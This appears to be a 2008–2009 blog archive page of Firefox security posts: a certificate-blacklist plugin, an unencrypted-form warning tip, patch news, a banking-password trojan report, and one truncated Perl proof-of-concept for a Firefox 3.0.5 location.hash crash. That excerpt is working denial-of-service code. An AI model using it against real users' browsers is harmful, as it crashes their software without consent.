SSL Blacklist – Firefox Plugin Detects Bad Certificates

Friday, January 2nd, 2009

This Firefox plugin was first created back during the Debian/OpenSSL scare about 6 months ago where the key pairs that were generated from an affected machine were easily guessable. Marton Anka created this plugin to help users find these bad certificates: On 12/31/2008, Marton updated this plugin to detect the ...

Make Firefox Alert You When You Send Information Unencrypted

Tuesday, December 23rd, 2008

Here's a quick little tip for users that might not know enough about internet security and privacy to stop and look for SSL/TLS (https://) when submitting forms on the web.  Or maybe the form page itself is on an unencrypted page, but the data actually gets sent encrypted when the ...

Mozilla Firefox 3.0.5 location.hash Remote Crash Exploit

Tuesday, December 23rd, 2008

#!/usr/bin/perl # mzff_lhash_dos.pl # Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit # Jeremy Brown [[email protected]/jbrownsec.blogspot.com] # Crash on Vista, play with it on XP $filename = $ARGV[0]; if(!defined($filename)) { print "Usage: $0 <filename.html>\n\n"; } $head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n"; $trig = "location.hash = \"" . "A" x 20000000 . "\";" ...

Firefox Issues Eight Patches

Wednesday, December 17th, 2008

Mozilla has issued eight patches for its Firefox Web browser, three of which fix problems classified as critical. The patches come after security experts have recommended using a browser other than Microsoft's Internet Explorer 7 and older versions of IE due to a dangerous vulnerability. Microsoft is due to release an ...

Firefox users targeted by rare piece of malware

Thursday, December 4th, 2008

Researchers at BitDefender have discovered a new type of malicious software that collects passwords for banking sites but targets only Firefox users. The malware, which BitDefender dubbed "Trojan.PWS.ChromeInject.A" sits in Firefox's add-ons folder, said Viorel Canja, the head of BitDefender's lab. The malware runs when Firefox is started. The malware uses JavaScript ...